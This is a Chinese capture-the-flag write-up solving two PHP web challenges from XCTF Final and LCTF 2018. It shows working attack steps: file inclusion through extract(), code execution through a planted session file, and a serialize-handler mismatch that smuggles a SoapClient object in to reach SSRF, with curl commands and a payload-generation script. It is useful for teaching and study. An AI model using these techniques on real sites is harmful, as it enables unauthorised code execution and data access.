文章首发于安全客:https://www.anquanke.com/post/id/164569
前言又是周末,又是CTF,还是pupil出的题,只能说,非常有趣了
bestphp bestphp’s revenge前者来自xctf final,后者来自2018LCTF
bestphp1 文件包含拿到题目后发现
代码非常简短,但是问题很明确,我们看到了函数
call_user_func($func,$_GET); ``` 这里想到的第一反应是利用`extract`进行变量覆盖,从而达到任意文件包含 例如:
?function=extract&file=php://filter/read=convert.base64-encode/resource=index.php
![](/images/2018-11-03-09-55-25.png) 发现可以成功读取,尝试读function.php ```php <?php function filters($data){ foreach($data as $key=>$value){ if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){ die('Do not hack me!'); } } } ?>尝试读admin.php
hello admin <?php if(empty($_SESSION['name'])){ session_start(); #echo 'hello ' + $_SESSION['name']; }else{ die('you must login with admin'); } ?>发现都不行,最后落点还得是在getshell,那么思考一下攻击方式,很容易就想到了最近热门的session+lfi的攻击方式
但是这里有一个问题:
ini_set('open_basedir', '/var/www/html:/tmp');
我们无法直接去包含默认路径
/var/lib/php/sessions/sess_phpsessid
那么怎么办? session_start
在走投无路的时候选择查看php手册
发现 session_start() 中有这样一段
那我们跟进会话配置指示
发现了save_path,跟进
发现该方式可以更改session存储路径,那我们尝试一下
?function=session_start&save_path=/tmp
然后去包含
?function=extract&file=/tmp/sess_kpk22r3qq2v69d2uj1iigcp5c2
发现路径更改成功,包含了session RCE
那么现在唯一的问题就是如何控制session的内容了,这里我有想到最近很流行的 session.upload_progress ,但是这样太麻烦了。
我们不难发现这里有一个 $_SESSION['name'] ,并且其可以被我们post的name复制,那这就可以达到控制session内容的目的。我们尝试
curl -v -X POST -d "name=<?=phpinfo();?>" http://vps_ip:port/?function=session_start&save_path=/tmp
再去包含对应的session
?function=extract&file=/tmp/sess_jisv70lep6v1nfokagdll4scs7
得到
尝试读取目录
curl -v -X POST -d "name=<?=var_dump(scandir('./'));?>" http://vps_ip:port/?function=session_start&save_path=/tmp
包含文件
?function=extract&file=/tmp/sess_3b624no3ucdj27un5idq57jta0
可以成功列目录
由于是本地环境,没有存放flag,所以到此一步,题目就完结了。后面找到flag直接cat即可
bestphp’s revenge拿到题目
index.php
<?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET[f],$_POST); session_start(); if(isset($_GET[name])){ $_SESSION[name] = $_GET[name]; } var_dump($_SESSION); $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a); ?>flag.php
代码非常简短,也很有意思,但是思路肯定很明确:SSRF
既然是SSRF,那么该如何满足以下条件呢?
访问127.0.0.1/flag.php cookie可控,改成我们的php_session_id那么势必得到一个php内置类,同时其具备SSRF的能力 SoapClient 这里不难想到之前N1CTF出过的hard_php一题,里面就使用了php内置类SoapClient进行SSRF
但是问题来了,我怎么触发反序列化?
看到 if(isset($_GET[name])){ $_SESSION[name] = $_GET[name]; } 我们不难想到,可以将序列化内容通过 $_GET[name] 传入session,但是我们本地测试:
发现session里的内容是会被进行一次序列化写入的,并且还有
name |
这样的东西存在。别说触发反序列化了,我们连基本的语句都构造不出来。
后来搜到这样一篇文章
https://blog.spoock.com/2016/10/16/php-serialize-problem/
首先我们可以控制 session.serialize_handler ,通过
/?f=session_start serialize_handler=php
这样的方式,可以指定php序列化引擎,而不同引擎存储的方式也不同
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 php:存储方式是,键名+竖线+经过serialize()函数序列处理的值 php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值同时根据文章内的内容,当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞
假如我们使用 php_serialize 引擎时进行数据存储时的序列化,可以得到内容
$_SESSION['name'] = 'sky'; a:1:{s:4:"name";s:3:"sky";}而在 php 引擎时进行数据存储时的序列化,可以得到另一个内容
$_SESSION['name'] = 'sky'; name|s:3:"sky"那么如果我们用 php 引擎去解 php_serialize 得到的序列化,是不是就会有问题了呢?
答案是肯定的,该文章中也介绍的很清楚
php引擎会以|作为作为key和value的分隔符,我们再传入内容的时候,比如传入
$_SESSION['name'] = '|sky‘那么使用 php_serialize 引擎时可以得到序列化内容
a:1:{s:4:"name";s:4:"|sky";}
然后用 php 引擎反序列化时, | 被当做分隔符,于是
a:1:{s:4:"name";s:4:"
被当作key
sky
被当做vaule进行反序列化
于是,我们只要传入
$_SESSION['name'] = |序列化内容即可
对了,如果你要问,为什么能反序列化?因为如下图
如何触发__call
光进行反序列化肯定是不够的
我们看到soapclient想要触发__call()必须要调用不可访问的方法,那我们如何在题目有限的代码里调用不可访问方法呢?
看到这段代码
$a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a);
这里想到如下操作
我们只要覆盖$b为 call_user_func 即可成功触发不可访问方法
payload那么完成payload即可
soap构造脚本
<?php $target='http://127.0.0.1/flag.php'; $b = new SoapClient(null,array('location' => $target, 'user_agent' => "AAA:BBB\r\n" . "Cookie:PHPSESSID=dde63k4h9t7c9dfl79np27e912", 'uri' => "http://127.0.0.1/")); $se = serialize($b); echo urlencode($se);
先发送第一段payload
在发送第二段payload
flag手到擒来!
后记
pupil出的这两道session_start的题,可以说非常有趣了。很荣幸的拿到了一个一血,涨了一波姿势,弥补了一波N1CTF hardphp的遗憾。膜~